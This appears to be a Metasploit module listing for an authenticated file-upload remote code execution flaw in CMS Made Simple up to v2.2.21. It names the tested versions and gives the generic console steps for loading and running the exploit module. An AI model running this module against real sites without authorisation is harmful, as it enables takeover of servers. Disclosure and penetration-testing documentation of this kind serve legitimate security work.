CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files with the .phar or .phtml extensions, enabling execution of PHP code leading to RCE. The file can be executed by accessing its URL in the /uploads/ directory. Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
PHP
php
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/cmsms_file_manager_auth_rce
msf exploit(cmsms_file_manager_auth_rce) > show targets
...targets...
msf exploit(cmsms_file_manager_auth_rce) > set TARGET < target-id >
msf exploit(cmsms_file_manager_auth_rce) > show options
...show and set options...
msf exploit(cmsms_file_manager_auth_rce) > exploit
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